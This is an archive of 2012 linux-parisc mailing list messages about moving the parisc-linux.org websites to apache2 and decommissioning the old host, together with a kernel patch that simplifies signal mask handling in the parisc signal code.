> I think I'm done. =C2=A0I've got the three sites
> {www,ftp,hwdb}.parisc-linux.org up and running. =C2=A0There aren't an=
y more,
> are there (wiki seems to be eisee)? =C2=A0Could someone also check th=
e links
> to see that nothing's broken.

Hi James,

Thanks for your help! The only thing that seems to be missing is
userdir support ("a2enmod userdir" should fix it)

Cheers,
T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Mon, 13 Feb 2012 17:26:53 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <CADZpyizU1DSdenteQbPhg0R+JFP3_dvA7gZYsKaUQKjyxUkwcw@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org>
	<1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
	<1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
	<1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
	<CADZpyiwQXN0uCq0LqXaJmjBH5-Rxw6GNAsdLpQO7DKnVRe6+_A@mail.gmail.com>
	<BLU0-SMTP77B17F57F6130D1C60865A977E0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329172057 8141 80.91.229.3 (13 Feb 2012 22:27:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 13 Feb 2012 22:27:37 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 13 23:27:35 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rx4Mw-0005gD-Lg
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Feb 2012 23:27:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756055Ab2BMW05 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Feb 2012 17:26:57 -0500
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:33738 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755732Ab2BMW04 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Feb 2012 17:26:56 -0500
Original-Received: by ghrr11 with SMTP id r11so2681415ghr.19
        for <linux-parisc@vger.kernel.org>; Mon, 13 Feb 2012 14:26:56 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=C4DfEWPUih7o4xUbAW8PQCc2ubTfve3vui6mnGhXWoc=;
        b=UHMrFZxKbl2MkzTrcp+8BM0as+Qiu8YAgEsrif0L+ZH0NrB+p8hQ8W+sVPaTKaejHk
         wkSwezwtyBC1Tnw5MbCLhOQ4wPbvU+sGUsUWmTZWhFMSImQxqcjUBPh2xeKWLR6gWQMU
         eMDd5W0oDvKBClTzQE0rlTr999msAqnc88fUA=
Original-Received: by 10.101.151.17 with SMTP id d17mr7313549ano.36.1329172013936; Mon,
 13 Feb 2012 14:26:53 -0800 (PST)
Original-Received: by 10.146.84.1 with HTTP; Mon, 13 Feb 2012 14:26:53 -0800 (PST)
In-Reply-To: <BLU0-SMTP77B17F57F6130D1C60865A977E0@phx.gbl>
X-Google-Sender-Auth: LRndRfycGb-YCzTDSCXIigbh8Yc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4165
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4165>

On Sun, Feb 12, 2012 at 5:56 PM, John David Anglin <dave.anglin@bell.ne=
t> wrote:
>> I did a quick check and everything seems to be working!
>
> Fantastic! =A0Deserves a note on PA-RISC news.

The website has been updated with a new news entry :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Fleming <matt@console-pimps.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 25/40] parisc: Use set_current_blocked() and block_sigmask()
Date: Tue, 14 Feb 2012 11:40:58 +0000
Lines: 58
Approved: news@gmane.org
Message-ID: <1329219673-28711-26-git-send-email-matt@console-pimps.org>
References: <1329219673-28711-1-git-send-email-matt@console-pimps.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1329219832 21264 80.91.229.3 (14 Feb 2012 11:43:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 11:43:52 +0000 (UTC)
Cc: Oleg Nesterov <oleg@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt.fleming@intel.com>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Feb 14 12:43:45 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1RxGnP-0005kS-1y
	for glk-linux-kernel-3@plane.gmane.org; Tue, 14 Feb 2012 12:43:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760591Ab2BNLn1 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 14 Feb 2012 06:43:27 -0500
Original-Received: from arkanian.console-pimps.org ([212.110.184.194]:57790 "EHLO
	arkanian.console-pimps.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1760544Ab2BNLnV (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 14 Feb 2012 06:43:21 -0500
Original-Received: by arkanian.console-pimps.org (Postfix, from userid 1002)
	id 84D25C0013; Tue, 14 Feb 2012 11:43:20 +0000 (GMT)
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	arkanian.vm.bytemark.co.uk
X-Spam-Level: 
X-Spam-Status: No, score=-5.2 required=5.0 tests=ALL_TRUSTED,AWL,BAYES_00
	autolearn=ham version=3.2.5
Original-Received: from localhost (02dddf07.bb.sky.com [2.221.223.7])
	by arkanian.console-pimps.org (Postfix) with ESMTPSA id A4512C000D;
	Tue, 14 Feb 2012 11:43:19 +0000 (GMT)
X-Mailer: git-send-email 1.7.4.4
In-Reply-To: <1329219673-28711-1-git-send-email-matt@console-pimps.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1253058 gmane.linux.kernel.cross-arch:12364 gmane.linux.ports.parisc:4166
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1253058>

From: Matt Fleming <matt.fleming@intel.com>

As described in e6fa16ab ("signal: sigprocmask() should do
retarget_shared_pending()") the modification of current->blocked is
incorrect as we need to check whether the signal we're about to block
is pending in the shared queue.

Also, use the new helper function introduced in commit 5e6292c0f28f
("signal: add block_sigmask() for adding sigmask to current->blocked")
which centralises the code for updating current->blocked after
successfully delivering a signal and reduces the amount of duplicate
code across architectures. In the past some architectures got this
code wrong, so using this helper function should stop that from
happening again.

Cc: Oleg Nesterov <oleg@redhat.com>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Matt Fleming <matt.fleming@intel.com>
---
 arch/parisc/kernel/signal.c |   12 ++----------
 1 files changed, 2 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 12c1ed3..bd36152 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -131,10 +131,7 @@ sys_rt_sigreturn(struct pt_regs *regs, int in_syscall)
 	}
 		
 	sigdelsetmask(&set, ~_BLOCKABLE);
-	spin_lock_irq(&current->sighand->siglock);
-	current->blocked = set;
-	recalc_sigpending();
-	spin_unlock_irq(&current->sighand->siglock);
+	set_current_blocked(&set);
 
 	/* Good thing we saved the old gr[30], eh? */
 #ifdef CONFIG_64BIT
@@ -454,12 +451,7 @@ handle_signal(unsigned long sig, siginfo_t *info, struct k_sigaction *ka,
 	if (!setup_rt_frame(sig, ka, info, oldset, regs, in_syscall))
 		return 0;
 
-	spin_lock_irq(&current->sighand->siglock);
-	sigorsets(&current->blocked,&current->blocked,&ka->sa.sa_mask);
-	if (!(ka->sa.sa_flags & SA_NODEFER))
-		sigaddset(&current->blocked,sig);
-	recalc_sigpending();
-	spin_unlock_irq(&current->sighand->siglock);
+	block_sigmask(ka, sig);
 
 	tracehook_signal_handler(sig, info, ka, regs, 
 		test_thread_flag(TIF_SINGLESTEP) ||
-- 
1.7.4.4


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Tue, 14 Feb 2012 14:41:46 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <CA+DQjFj+fhktqADnwv2VhCC8en2yiBAQxzZ0aSrq0F_U8=BTBA@mail.gmail.com>
References: <20120208143347.GB22903@dannf.org> <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
 <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com> <CA+DQjFju07GZurXzu_G_Kd2=ndSy4Jm5GhkUUXyrdKWeTjiURw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1329226939 12220 80.91.229.3 (14 Feb 2012 13:42:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 13:42:19 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>, linux-parisc@vger.kernel.org,
	taggart@lackof.org, bame@riverrock.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 14 14:42:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RxIe1-00040n-Iy
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Feb 2012 14:42:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755616Ab2BNNmJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Feb 2012 08:42:09 -0500
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:58516 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751333Ab2BNNmI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Feb 2012 08:42:08 -0500
Original-Received: by iacb35 with SMTP id b35so6118032iac.19
        for <linux-parisc@vger.kernel.org>; Tue, 14 Feb 2012 05:42:07 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:cc:content-type
         :content-transfer-encoding;
        bh=IhQL20CDhlfXk+9FluD1XYoHLxwtTbaVbCMaWSRY1SM=;
        b=Ep2Xz7jBpWFGCbf5TRUyYOFbvyuUqQOlAMPGG2Dqz8bEvzZq/ciKe7/wg8UgnBSiE/
         wzwjx+ebKSfyAYEk5z/mG0PmbAtcn3PvHfPKz/Bvc24EE8/R9C4h0E7+WiOUGDIIdTwS
         KMmcTIqJ0e1IRVDgGINjK02VAVRwDcfRr73vk=
Original-Received: by 10.42.169.198 with SMTP id c6mr3786007icz.31.1329226926154; Tue,
 14 Feb 2012 05:42:06 -0800 (PST)
Original-Received: by 10.42.145.201 with HTTP; Tue, 14 Feb 2012 05:41:46 -0800 (PST)
In-Reply-To: <CA+DQjFju07GZurXzu_G_Kd2=ndSy4Jm5GhkUUXyrdKWeTjiURw@mail.gmail.com>
X-Google-Sender-Auth: haIv7rQDhkWDeFMZ8rNPWRD14kk
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4167>

On Mon, Feb 13, 2012 at 12:23 PM, Thibaut VARENE
<T-Bone@parisc-linux.org> wrote:
> On Sun, Feb 12, 2012 at 9:01 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
>> On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
>
>>> > I've enabled it and put it up ... but it uses some type of server=
 side
>>> > scripting which I need to enable in the apache mods, so it's not
>>> > entirely functional yet.
>>>
>>> OK, done and up.
>>>
>>> it was using SSI ... I haven't seen that for at least 20 years ...
>>
>> I think I'm done. =C2=A0I've got the three sites
>> {www,ftp,hwdb}.parisc-linux.org up and running. =C2=A0There aren't a=
ny more,
>> are there (wiki seems to be eisee)? =C2=A0Could someone also check t=
he links
>> to see that nothing's broken.
>
> Hi James,
>
> Thanks for your help! The only thing that seems to be missing is
> userdir support ("a2enmod userdir" should fix it)

Just remembered I have admin access to palinux so I took care of
enabling userdirs. Sorry for not realizing this sooner ;P

HTH
T-Bone

--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Tue, 14 Feb 2012 11:05:19 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <20120214180519.GA32602@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <CA+DQjFhKZiuxcoHJYcpDBUJW3xNNTDQhfm=d3trWG3u8DARtXw@mail.gmail.com>
 <BLU0-SMTP5575D9E1E9A88CEE0BD790977A0@phx.gbl>
 <20120209175547.GA22332@dannf.org>
 <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1329242731 14866 80.91.229.3 (14 Feb 2012 18:05:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 18:05:31 +0000 (UTC)
Cc: Thibaut VARENE <varenet@parisc-linux.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	taggart@lackof.org, bame@riverrock.org,
	Carlos O'Donell <carlos@systemhalted.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 14 19:05:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RxMkl-00087e-Lv
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Feb 2012 19:05:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752112Ab2BNSFX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Feb 2012 13:05:23 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:41702 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751308Ab2BNSFW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Feb 2012 13:05:22 -0500
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id CC1DB33E001F;
	Tue, 14 Feb 2012 11:05:19 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 2444AC03AA; Tue, 14 Feb 2012 11:05:19 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <BLU0-SMTP8734A5ED7DDBD9EC0C7A7597790@phx.gbl>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4168>

On Sat, Feb 11, 2012 at 02:11:30PM -0500, John David Anglin wrote:
> On 9-Feb-12, at 12:55 PM, dann frazier wrote:
> 
> >Well, we have apache2 installed from lenny now - it just isn't serving
> >anything useful :)
> >
> 
> I don't know much about about web page setup, so I can't be much
> help for this.
> 
> >>I believe it would be useful to keep the site going until we see if
> >>restarting buildd will
> >>fly or not given the current level of improvement.
> >
> >I am supportive of the site continuing to self-host, and I realize
> >that means it needs to run devel bits. But, there's two separate
> >issues I see there.
> >
> >1) We need to bridge the gap between now and then. Even if we had a
> >   buildd online today, just grinding through the necessary backlog
> >   would take weeks.
> 
> Yes, I have been working on bridging the gap manually since last
> summer.  I now have 5829 debs in my unstable archive.  Generally, things
> have gotten easier as system stability has improved and bugs were
> fixed.  It is a big job but I've done it in my spare time.
> 
> >2) I won't have time to be the principle admin for a system running
> >   unstable. I'm happy to help here & there, and w/ whatever
> >   transition ends up happening, but things like manually
> >   patching/fixing kernels, monitoring security updates and how they
> >   impact our bits, etc. Its a lot of work just for managing a single
> >   host.
> >
> >For 1) I think the right answer is to move services to a new
> >stable/secure host for the time being and shut the existing machine
> >down. We can retain the option of moving things back once the unstable
> >port is in full force. As a side benefit, such a migration should also
> >help get the existing services running w/ newer packages
> >(e.g. apache2) and allow us cleanly transition services over w/
> >minimal downtime (demonstrate a working system first, then update DNS
> >records). Who knows how painful it will be to go from pre-lenny to sid
> >all at once.
> >
> >2) can be solved by moving the domain to someone else's
> >infrastructure, or having a trusted volunteer to be the primary
> >admin for the system.
> 
> 
> I need to update a few more packages before magnum is ready for buildd.
> 
> Thibaut offered to setup the buildd but doesn't have a lot of free
> time.  I'm
> willing to do general system admin and monitoring the build system,
> but Thibaut  has to be in charge.  I'm hoping that Carlos is still
> willing to help
> with uploads, and to try to get his current patches into the debian
> eglibc 2.13
> patch set.  Otherwise, we may have to have a separate patch set.
> 
> I think ESIEE is the logical host site.  Magnum will be moved to an
> "open" IP
> when it's ready to start building.  It will require careful
> firewalling at that time.
> 
> No objection to moving the current buildd to magnum.  I guess the
> security
> updates are the biggest issue.  Once the buildd is running, we can
> work on
> transitioning to a final release.

All of the above sounds like good progress. However, it still leaves the
parisc-linux.org machine running an unsupported OS for an undefined
amount of time. During that time, this box will either need to be
shutoff, or manually patched to avoid HP audit scans (or, worse yet,
actual exploits). If the plan is to migrate this system to the
debian-ports unstable archive when it becomes available, we'll need
someone to maintain that install as well.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Tue, 14 Feb 2012 11:06:37 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20120214180637.GB32602@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
 <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
 <CANEJEGvrdwutpv1fwZqk0kq0nO=0UQQYD=svz8DMNd+FW+UB+Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1329242803 15496 80.91.229.3 (14 Feb 2012 18:06:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 18:06:43 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 14 19:06:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RxMly-0003Ay-Pz
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Feb 2012 19:06:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752487Ab2BNSGh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Feb 2012 13:06:37 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:41716 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752112Ab2BNSGh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Feb 2012 13:06:37 -0500
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 2F06433E001F;
	Tue, 14 Feb 2012 11:06:37 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id 0D0ADC03AA; Tue, 14 Feb 2012 11:06:37 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <CANEJEGvrdwutpv1fwZqk0kq0nO=0UQQYD=svz8DMNd+FW+UB+Q@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4169
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4169>

On Sun, Feb 12, 2012 at 08:05:37PM -0800, Grant Grundler wrote:
> Dann/Matt,
> DNS entry for iou.parisc-linux.org can be killed if it hasn't been
> yet. That used to point to gsyprf11.external.hp.com which was
> decommission last year.

Matt - can you handle that?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: decommissioning parisc-linux.org
Date: Tue, 14 Feb 2012 11:06:50 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20120214180650.GC32602@dannf.org>
References: <20120208143347.GB22903@dannf.org>
 <1329057533.21613.39.camel@dabdike.int.hansenpartnership.com>
 <1329058172.21613.40.camel@dabdike.int.hansenpartnership.com>
 <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1329242819 15615 80.91.229.3 (14 Feb 2012 18:06:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 14 Feb 2012 18:06:59 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, taggart@lackof.org,
	bame@riverrock.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 14 19:06:56 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RxMmB-0003Ay-Mj
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Feb 2012 19:06:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752487Ab2BNSGv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Feb 2012 13:06:51 -0500
Original-Received: from complete.lackof.org ([198.49.126.79]:41723 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752112Ab2BNSGv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Feb 2012 13:06:51 -0500
Original-Received: from fluid.dannf (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id D689A33E0097;
	Tue, 14 Feb 2012 11:06:50 -0700 (MST)
Original-Received: by fluid.dannf (Postfix, from userid 1000)
	id B18FEC03AA; Tue, 14 Feb 2012 11:06:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1329076902.21613.52.camel@dabdike.int.hansenpartnership.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Virus-Scanned: clamav-milter 0.97.3 at complete.lackof.org
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4170
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4170>

On Sun, Feb 12, 2012 at 02:01:42PM -0600, James Bottomley wrote:
> On Sun, 2012-02-12 at 08:49 -0600, James Bottomley wrote:
> > On Sun, 2012-02-12 at 08:38 -0600, James Bottomley wrote:
> > > On Wed, 2012-02-08 at 07:33 -0700, dann frazier wrote:
> > > > In the meantime, if anyone wants to get the website working on apache2
> > > > for the remainder of the system's lifetime, please let me know.
> > > > 
> > > I can probably do that.  At least the static part, since I run a bunch
> > > of apache 2 websites on my hosted system.
> > > 
> > > I've enabled it and put it up ... but it uses some type of server side
> > > scripting which I need to enable in the apache mods, so it's not
> > > entirely functional yet.
> > 
> > OK, done and up.
> > 
> > it was using SSI ... I haven't seen that for at least 20 years ...
> 
> I think I'm done.  I've got the three sites
> {www,ftp,hwdb}.parisc-linux.org up and running.  There aren't any more,
> are there (wiki seems to be eisee)?  Could someone also check the links
> to see that nothing's broken.

Good work!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
